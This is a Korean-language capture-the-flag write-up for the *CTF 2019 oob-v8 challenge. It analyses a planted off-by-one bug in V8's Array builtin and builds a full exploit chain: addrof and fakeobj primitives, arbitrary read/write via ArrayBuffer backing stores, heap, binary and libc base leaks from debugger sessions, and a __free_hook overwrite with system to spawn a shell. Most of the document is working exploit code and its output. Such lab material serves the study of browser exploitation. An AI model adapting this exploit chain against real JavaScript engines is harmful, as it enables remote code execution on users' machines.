oob
diff
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
이부분이 관건인데 조금씩 해석해보면
- len==1 args가 없음 → number로 array[length]를 리턴함
- argument가 잇으면 value에 elements[length]를 넣음 (ToNumber를 이용해서 number로 캐스팅한 value)
⇒ 차례대로 OOB read, write임. index는 0으로 시작하는데 length-1이 아니라 그대로 넣으니까 1씩 더 access할 수잇음 (r든 w든)
oob()라는 함수는
기본적인 개념들
- Map이 무엇인가
- Pointer Tagging
- pointers, doubles and smis
구조
a = [1.5, 2.5] 이걸로 예를 들자면
일케 생겨먹음
그래서 oob 실행하면 어캐되느냐
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> a.oob();
1.0177087804388e-310
d8> ftoi(a.oob()).toString(16)
"12bbff842ed9"
d8> %DebugPrint(a)
0x3ef7e510e129 <JSArray[2]>
[1.5, 2.5]
pwndbg> x/4gx 0x3ef7e510e128
0x3ef7e510e128: 0x000012bbff842ed9 0x000028b11a100c71
0x3ef7e510e138: 0x00003ef7e510e109 0x0000000200000000
일치함. 즉 바운드 바깥에 머가잇느냐 a의 Map이 잇다 이걸 우리가 읽고쓸수잇으니까 fake obj를 만들어서 주무를 수잇다.
바로 이런 차이를 악용해서 오브젝트의 주소를 릭할 수 있다. pointer를 double로 취급해서 리턴할 수 잇음
[1] LEAK
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
%DebugPrint(map_float)
var initial_obj = {a:1}; // placeholder
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
%DebugPrint(map_obj)
function addrof(obj) {
obj_arr[0] = obj; // index 0에 릭할 오브젝트
obj_arr.oob(map_float); // float map으로 변환
let leak = obj_arr[0]; // addr 읽기
obj_arr.oob(map_obj);
return ftoi(leak); // integer로 릭 반환
}
d8> obj = {a:1}
{a: 1}
d8> %DebugPrint(obj)
0x3b3e3078ebf9 <Object map = 0x1419109cab39>
{a: 1}
d8> addrof(obj).toString(16)
"3b3e3078ebf9"
짠 하고 릭이 됩니다. 이것이 첫번째 primitive
[2] 가짜오브젝트 생성하기
두번째 primitive는 뭐냐
oob()을 분석해보니까 인덱스 하나만큼 값을 쓸수잇엇음
그리고 위에서 봣듯 (파란색으로 표시한 주소값) JSArray[2] → elements pointer(실제의 값이 저장돼잇음) 이니까
function fakeobj(addr) {
float_arr[0] = itof(addr); // 값을 쓸 것을 index 0에
float_arr.oob(map_obj); // 오브젝트 맵으로
let fake = float_arr[0]; // fake object
float_arr.oob(map_float); // 다시 map으로
return fake;
}
이런식으로 실제 array안에서 가짜 오브젝트를 생성할 수 있다.
exploit - R
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
if (addr % 2n == 0)
addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // [1]
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // [2]
return ftoi(fake[0]);
}
tag pointer 설명 :JS 탐구생활 - JS 엔진이 값을 저장하는 방법, tagged pointer와 NaN boxing (witch.work) 위 문서를 읽으시오
[1] FixedDoubleArray 에 페이크넣기. 길이가 4니까 0x8 * 4 = 오프셋은 0x20
[2] 페이크의 elements 필드 위에 값 쓰기. map + size smi 까지 오프셋은 0x10.
exploit - W
function initial_arb_write(addr, val) {
// 페이크
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// index 0에 씀
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
// backing store에 initial_arb_write활용해서 값을 씀
initial_arb_write(backing_store_addr, addr);
// 오프셋 0에 값을 씀
dataview.setBigUint64(0, BigInt(val), true);
}
여기서는 ArrayBuffer 만들고 DataView를 만들어줘야함 단계가 하나 더 잇음
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView
https://v8docs.nodesource.com/node-13.2/d5/d6e/classv8_1_1_array_buffer.html
ArrayBuffer의 backing store 가 JSarray의 element같은거임. 실제로 값이 들어가는 곳의 메모리 주소를 가지고 잇음
RCE따기 - 릭따기
offset이 고정된 포인터들을 사냥해봅시다
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x22322bacf3f1
[+] Float Map: 0x3f1e46bc2ed9
[+] Object Map: 0x3f1e46bc2f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x38be6500f3f1
[+] Float Map: 0x862903c2ed9
[+] Object Map: 0x862903c2f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x223fc0c4f3f1
[+] Float Map: 0x13156f542ed9
[+] Object Map: 0x13156f542f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x11edb490f3f1
[+] Float Map: 0x12c8e3902ed9
[+] Object Map: 0x12c8e3902f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x18fcbd14f3f1
[+] Float Map: 0x3f7477d02ed9
[+] Object Map: 0x3f7477d02f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x9eaafc4f3f1
[+] Float Map: 0x38eae9542ed9
[+] Object Map: 0x38eae9542f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x1acc5fe0f3f1
[+] Float Map: 0x1efd3df02ed9
[+] Object Map: 0x1efd3df02f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x397f5368f3f1
[+] Float Map: 0xcc5788c2ed9
[+] Object Map: 0xcc5788c2f79
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ ./d8 test.js
[+] Address of Arbitrary RW Array: 0x389af8f3f1
[+] Float Map: 0x163589b42ed9
[+] Object Map: 0x163589b42f79
뭔가 딱봐도 2ed9랑 2f79가 고정인것같음
[+] Address of Arbitrary RW Array: 0x8ae3bdcf3f1
[+] Float Map: 0x29cb502c2ed9
[+] Object Map: 0x29cb502c2f79
pwndbg> vmmap
[...]
0x2813c32c0000 0x2813c32c1000 rw-p 1000 0 [anon_2813c32c0]
0x29cb502c0000 0x29cb50300000 rw-p 40000 0 [anon_29cb502c0]
0x338644740000 0x338644780000 rw-p 40000 0 [anon_338644740]
[...]
저기 부분에 잇는 애들인데 저 파트의 오프셋은 알겠는데 이걸 써먹을 수 잇을까요? 참고로
0x5555562fa000 0x5555563c8000 rw-p ce000 0 [heap]
pwndbg> x/100gx 0x29cb502c0000
0x29cb502c0000: 0x0000000000040000 0x0000000000000004
0x29cb502c0010: 0x00005555563a9b40 0x000055555631b320 // heap 부분
0x29cb502c0020: 0x000029cb502c0000 0x0000000000040000
heap의 오프셋을 구해봅시다
pwndbg> p /x 0x00005555563a9b40 - 0x5555562fa000
$2 = 0xafb40
pwndbg> p /x 0x000055555631b320 - 0x5555562fa000
$3 = 0x21320
실행을 몇번 해도 실행때마다 똑같음
그럼 정리하자면
[1] float map leak: 시작으로부터 offset 2ed9
[2] object map leak: 시작으로부터 offset 2f79
[3] heap을 가리키는 포인터1: 힙시작으로부터 offset 0xafb40
[4] heap을 가리키는 포인터2: 힙시작으로부터 offset 0x21320
두번째 포인터는 결국 멀가리킬까
pwndbg> x/100gx 0x000055555631b320
0x55555631b320: 0x00005555562dcea8 0x0000000000001000
0x55555631b330: 0x0000000000001000 0x0000000000000021
0x55555631b340: 0x66632e6f62727574 0x0000000000000067
0x55555631b350: 0x0000000000000000 0x0000000000000041
0x555555554000 0x5555557e8000 r--p 294000 0 /home/qwertek/v8/out.gn/x64.release/d8
0x5555557e8000 0x5555562b0000 r-xp ac8000 294000 /home/qwertek/v8/out.gn/x64.release/d8
0x5555562b0000 0x5555562f0000 r--p 40000 d5c000 /home/qwertek/v8/out.gn/x64.release/d8
0x5555562f0000 0x5555562fa000 rw-p a000 d9c000 /home/qwertek/v8/out.gn/x64.release/d8
0x5555562fa000 0x5555563c8000 rw-p ce000 0 [heap]
0x7ffff31fc000 0x7ffff3239000 rw-p 3d000 0 [anon_7ffff31fc]
[5] 0x00005555562dcea8 얘는 바이너리 주소, offset 0xd88ea8
거의다옴(아마)
qwertek@DESKTOP-CRU7LFG:~/v8/out.gn/x64.release$ readelf -a d8 | grep -i puts
000000d9b3c8 001000000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
[6] puts got offset d9b3c8
qwertek@DESKTOP-CRU7LFG:/mnt/c/Users/qwertek/happyhacking/starctf_v8$ nm -D chrome/chrome/libc.so.6 | grep "puts"
000000000007f1f0 T _IO_fputs
00000000000809c0 T _IO_puts
000000000007f1f0 W fputs
000000000008a640 W fputs_unlocked
00000000000809c0 W puts
00000000001285d0 T putsgent
00000000001266c0 T putspent
[7] libc base 는 puts addr 로부터 offset 809c0
자 이제 익스를 좀 정리해서 넣어보면
[New Thread 0x7ffff3a39700 (LWP 204122)]
[+] Address of Arbitrary RW Array: 0x13dda5e8f6e1
[+] Float Map: 0x251346c42ed9
[+] Object Map: 0x251346c42f79
[+] Map Region Start: 0x251346c40000
[+] Heap Base: 0x5555562fa000
[+] Binary Base: 0x555555554000
[+] puts@got: 0x5555562ef3c8
[+] puts@libc: 0x7ffff7cb1420
[+] LIBC Base: 0x7ffff7c30a60
[...]
[Inferior 1 (process 204111) exited normally]
pwndbg> p &system
$3 = (int (*)(const char *)) 0x7ffff7c7f290 <__libc_system>
pwndbg> p &__free_hook
$4 = (void (**)(void *, const void *)) 0x7ffff7e1be48 <__free_hook>
pwndbg> p /x 0x7ffff7c7f290 - 0x7ffff7c30a60
$5 = 0x4e830
pwndbg> p /x 0x7ffff7e1be48 - 0x7ffff7c30a60
$6 = 0x1eb3e8
[8] system offset 0x4e830
[9] free hook offset 0x1eb3e8
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1};
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj;
obj_arr.oob(map_float);
let leak = obj_arr[0];
obj_arr.oob(map_obj);
return ftoi(leak);
}
function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.oob(map_obj);
let fake = float_arr[0];
float_arr.oob(map_float);
return fake;
}
var arb_rw_arr = [map_float, 1.5, 2.5, 3.5];
console.log("[♥] arb_rw_arr: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
if (addr % 2n == 0)
addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
console.log("[♥] Float Map: 0x" + ftoi(map_float).toString(16));
console.log("[♥] Object Map: 0x" + ftoi(map_obj).toString(16));
let map_reg_start = ftoi(map_float) - 0x2ed9n;
console.log("[♥] Map Start: 0x" + map_reg_start.toString(16));
let heap_leak = arb_read(map_reg_start + 0x18n);
let heap_base = heap_leak - 0x21320n;
console.log("[♥] Heap Base: 0x" + heap_base.toString(16));
let binary_leak = arb_read(heap_leak);
let binary_base = binary_leak - 0xd88ea8n;
console.log("[♥] Binary Base: 0x" + binary_base.toString(16));
let puts_got = binary_base + 0xd9b3c8n;
console.log("[♥] puts@got: 0x" + puts_got.toString(16));
let puts_libc = arb_read(puts_got);
console.log("[♥] puts@libc: 0x" + puts_libc.toString(16));
let libc_base = puts_libc - 0x809c0n;
console.log("[♥] LIBC Base: 0x" + libc_base.toString(16));
let system = libc_base + 0x4e830n;
let free_hook = libc_base + 0x1eb3e8n;
arb_write(free_hook, system);
console.log("/bin/sh");
크롬에서 직접 하면 안됨 오프셋이 다 어긋나서
그래서 웹어셈으로 된 쉘코드를 넣어야함
https://ir0nstone.gitbook.io/notes/types/browser-exploitation/ctf-2019-oob-v8